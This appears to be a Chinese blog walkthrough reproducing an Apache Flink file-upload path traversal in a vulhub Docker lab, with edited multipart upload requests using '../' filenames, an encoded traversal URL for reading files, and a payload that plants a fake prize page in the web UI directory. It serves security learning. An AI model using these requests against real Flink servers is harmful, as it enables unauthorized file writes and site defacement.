当前位置:网站首页>Apache Fink 文件上传漏洞复现及利用
Apache Fink 文件上传漏洞复现及利用
2022-08-11 05:32:00 【Tauil】
Apache Fink 文件上传漏洞复现
打开vulhub靶场,输入命令
cd flink/CVE-2020-17519
sudo docker-compose up -d
sudo docker-compose ps
登录靶场网页http://靶场IP:8081,然后在Submit New job处发现有上传点,f12查看网络数据包,然后上传任意文件
随后可以看到网页POST一个数据包,数据包中的文件,右键点击重发,然后可以看到数据包中内容

boundary是分隔符,不用关注,查看到其fliname应该就是文件的名称,其创建文件的路径猜测是其默认文件路径的 xxx/xxx/jars/upload/test.jar ,如果他没有在这个fliname处进行检查或者强制规定的路径,而是使用类似 touch xxx/xxx/jars/upload/test.jar 这样的直接创建文件的命令,我们可以通过修改fliname,令其命令达到类似 touch xxx/xxx/jars/upload/../../../../../../../tmp/test.jar 的效果,所以我们修改消息体内容为
Content-Type: application/octet-stream 是让文件默认为字节流,浏览器处理这种类型的文件默认是下载,我们要显示他,所以要把它删掉
-----------------------------160778796920884667481441541505
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../../../tmp/test"
123456789
-----------------------------160778796920884667481441541505--

其它不修改,然后点击发送,因为该版本的 Apache Flink 中存在有一个目录穿越漏洞,详细内容在https://blog.csdn.net/Tauil/article/details/125930144,我们可以使用该漏洞查看我们创建的内容
输入URL:
http://靶机IP:8081/jobmanager/logs/…%252f…%252f…%252f…%252f…%252f…%252ftmp%252ftest

Apache Fink 文件上传漏洞利用
这时我们可以在Job Manager中发现该网页文件地址

网页图形界面一般为 xxx+xxx+ui 现在我们知道了他的命名格式是 flink-web-xxx ,所以猜测该网页文件地址应该是在 tmp/flink-web-2dd3149d-f348-4e1e-88ed-4ed72f05728b/flink-web-ui
修改数据包为
-----------------------------160778796920884667481441541505
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../../../tmp/flink-web-2dd3149d-f348-4e1e-88ed-4ed72f05728b/flink-web-ui/win.html"
<h1>Congratulations</h1>
<a href="https://www.baidu.com">Click here to get one hundred dollers</a>
-----------------------------160778796920884667481441541505--

发送后输入URL:http://靶机IP:8081/win.html 即可访问我们写入的网页

边栏推荐
猜你喜欢

第一章 Verilog语言和Vivado初步使用

Unity的程序集Assembly 与 加快代码编译速度

解决npm warn config global `--global`, `--local` are deprecated. use `--location=global` instead.
微信小程序云开发项目wx-store代码详解

【力扣】同构字符串

stegano

星盟-pwn-babyfmt

连接数据库时出现WARN: Establishing SSL connection without server‘s identity verification is not recommended.

Redis学习笔记【四】完结

JVM学习四:垃圾收集器与内存回收策略
随机推荐
自己动手写RISC-V的C编译器-01实现加减法
Unity3D中所有特殊的文件夹
Lua loadstring 执行字符串中的代码
PyQt5中调用.ui转换的.py文件代码解释
微信小程序_开发工具的安装
【转】Unity 内置渲染管线、SRP、URP、HDRP区别
C语言-7月31日-指针的总结以及typedef关键字
【LeetCode-56】合并区间
unity小技巧
【LeetCode-414】第三大的数
Jetpack use exception problem collection
2022年全国职业技能大赛网络安全竞赛试题B模块自己解析思路(5)
微信小程序启动页的实现
2021年vscode终端设置为bash模式
【LeetCode-147】对链表进行插入排序
中小微企业需要使用SSL证书吗?
将UI的点击事件渗透下去
【LeetCode-350】两个数组的交集II
自己动手写RISC-V的C编译器-00环境配置
Lua 元表(Metatable)